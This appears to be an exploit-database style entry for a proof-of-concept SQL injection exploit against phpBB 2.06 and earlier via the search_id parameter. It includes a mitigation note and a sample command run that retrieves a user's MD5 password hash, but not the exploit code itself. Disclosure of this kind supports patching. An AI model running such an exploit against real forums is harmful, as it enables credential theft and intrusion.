r57phpbb.pl – phpBB v<=2.06 search_id sql injection exploit (POC version)

This is a proof-of-concept exploit for a SQL injection vulnerability in phpBB version <=2.06. By manipulating the search_id parameter, an attacker can execute arbitrary SQL statements. The exploit retrieves the MD5 hash for a user with a specific user_id.

Mitigation:

Upgrade to a newer version of phpBB that is not affected by this vulnerability.

##    PROOF-OF-CONCEPT
##    * work only with mysql ver > 4.0
##    * work only with post #1

##    Example:
##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
##    [~] prepare to connect...
##    [+] connected
##    [~] prepare to send data...
##    [+] OK
##    [~] wait for response...
##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
